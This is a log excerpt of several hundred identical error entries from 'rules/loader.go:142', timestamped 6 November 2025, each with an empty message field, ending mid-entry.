+time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= 